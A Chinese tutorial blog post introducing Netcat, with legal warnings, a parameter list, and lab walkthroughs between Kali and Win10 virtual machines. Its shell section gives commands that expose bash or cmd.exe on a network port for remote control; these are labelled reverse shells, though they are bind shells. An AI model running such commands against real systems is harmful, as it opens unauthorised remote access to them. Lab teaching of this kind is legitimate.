本文主要是介绍Netcat----网络瑞士军刀,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
文章目录
- 前言
- 一、刑法
- 二、介绍Netcat
- 三、两pc机连接
- 四、两pc机文件传输
- 五、反弹shell
- 六、Netcat的缺陷
前言
这篇文章将介绍Netcat的用法和命令,包括连接命令,文件传输命令,以及我们知道的反弹shell。主要用到的有两台虚拟机,一台win10、kali。在这里默认读者已经下载完毕。最后我们的目的是为了能更好的学会这个网络工具。而不是给其他人带来相应的麻烦,笔者深知这点,请读者切记。
一、刑法
中华人民共和国刑法(第285、286条)
第二百八十五条 违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。
第二百八十六条 违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。 违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。 故意制作、传播计算机病毒等破坏程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。
二、介绍Netcat
Netcat(简称为nc)是一个网络工具,熟称瑞士军刀。
可能你想到的瑞士军刀是这样的,就像下图所示。
但这里指代的是网络上面的工具,至于它为什么会被称之为瑞士军刀。你们想的没有错,他就是由瑞士的Hobbit协会开发的。如今在安全行业,它的名气基本学安全的人人尽知,因此了解它十分必要。
首先它可以用于创建、发送和接收网络连接。
其次它的功能非常强大,可以在不同计算机之间建立TCP或UDP连接,并提供各种网络服务。
然后Netcat可以在命令行中使用,支持多种操作系统,如Linux、Windows和 macOS。
Netcat常用到的操作内容有
端口扫描:可以使用Netcat来扫描目标主机的开放端口,以检测网络安全漏洞。
文件传输:Netcat可以通过网络传输文件,可以将文件发送到远程主机或从远程主机接收文件。
远程控制:Netcat允许远程主机与目标主机建立连接,从而实现远程执行命令或远程管理主机的功能。
网络调试和测试:Netcat可以用于测试网络服务的可用性和性能,发送和接收数据以模拟网络通信。
端口转发:Netcat可以通过建立隧道来实现端口转发,将来自一个主机的连接重定向到另一个主机。
Netcat常见的参数如下
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接关闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p [空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w 数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
三、两pc机连接
要通过Netcat将两台pc机连接,首先要保证是至少要有一方要已经安装了Netcat。这里我们用到的虚拟机包括kali和win10。其中kali已经安装了Netcat,这里无需安装。而win10则需要我们去上网进行下载。接下来的章节也都是基于在虚拟机上已经有Netcat。请注意之后运行代码都是先是在服务器上运行,再到客户端运行。
不多废话,现在开始介绍!
这里我们连接用的两台机器是win10和kali。
一、这里我们将win10作为客户端,kali作为服务器端
kali上面的代码如下(注意看在什么目录和用户下运行代码)
┌──(wang㉿kali)-[~/桌面]
└─$ su
密码:
┌──(root㉿kali)-[/home/wang/桌面]
└─# nc -lvp 4444
listening on [any] 4444 ...
192.168.182.142: inverse host lookup failed: Unknown host
connect to [192.168.182.128] from (UNKNOWN) [192.168.182.142] 63635# win10的IP地址为192.168.182.142# kali的IP地址为192.168.182.128
win10上面的代码如下(注意看在什么目录和用户下运行代码)
C:\Users\da>cd C:\netcat-win32-1.12C:\netcat-win32-1.12>nc64.exe 192.168.182.128 4444C:\netcat-win32-1.12># win10的IP地址为192.168.182.142# kali的IP地址为192.168.182.128
二、这里我们将kali作为客户端,win10作为服务器端
win10上面的代码如下(注意看在什么目录和用户下运行代码)
C:\Users\da>cd C:\netcat-win32-1.12C:\netcat-win32-1.12>nc64.exe -l -p 4444ifconfig
kali上面的代码如下(注意看在什么目录和用户下运行代码)
┌──(root㉿kali)-[/home/wang/桌面]
└─# nc 192.168.182.142 4444ifconfig
这里选择回显的是ifconfig,它在linux中的命令。出现回显也就意味着连接成功。
四、两pc机文件传输
< 文件传输中的输入
> 文件传输中的输出
这里光看符号,是很难记忆的,过时间长了就会遗忘。
对此我是这么理解的,做安全的人都知道最小特权原则。我的记忆方法是将其想像成文件的访问与输出。对应在符号上面< ,这个就代表尽可能的将文件最大化的输入,所以向右的张口是较大的。对应在符号上面> ,这个就代表尽可能的减少文件内容的泄露减小输出,所以向右的张口是很小的。这样就将其的特点记录了下来。
对应在kali和win10上面只需要像我们之前连接时候的命令一样,在他们的基础上添加这两个文件传输的符号,同时在最后添加上文件要传输到的绝对路径或是文件的输入的绝对路径。这个在这里不一一介绍,有兴趣的朋友可以,自己进行简单的尝试。
五、反弹shell
一、这里我们将win10作为客户端,kali作为服务器端
kali上面的代码如下(注意看在什么目录和用户下运行代码)
┌──(root㉿kali)-[/home/wang/桌面]
└─# nc -lvp 4444 -e /bin/bash
listening on [any] 4444 ...
192.168.182.142: inverse host lookup failed: Unknown host
connect to [192.168.182.128] from (UNKNOWN) [192.168.182.142] 49779
win10上面的代码如下(注意看在什么目录和用户下运行代码)
C:\netcat-win32-1.12>nc64.exe 192.168.182.128 4444
kali的终端在/bin/bash这个目录下面。·
二、这里我们将kali作为客户端,win10作为服务器端
kali上面的代码如下(注意看在什么目录和用户下运行代码)
┌──(root㉿kali)-[/home/wang/桌面]
└─# nc 192.168.182.142 4444
Microsoft Windows [�汾 10.0.19045.3208]
(c) Microsoft Corporation����������Ȩ����C:\netcat-win32-1.12>chcp 65001
chcp 65001
Active code page: 65001C:\netcat-win32-1.12>
win10上面的代码如下(注意看在什么目录和用户下运行代码)
C:\Users\da>cd C:\netcat-win32-1.12C:\netcat-win32-1.12>nc64.exe -l -p 4444 -e cmd.exe
win10的终端在cmd.exe下面,这里出现了乱码的情况。输入的代码如下。这在上面的代码块中出现,这里将其重点提一下。
chcp 65001
六、Netcat的缺陷
1、nc传输的数据不加密
2、nc传输十分不稳定
3、nc缺乏身份验证的机制,端口一直在打开容易被黑客控制
这篇关于Netcat----网络瑞士军刀的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!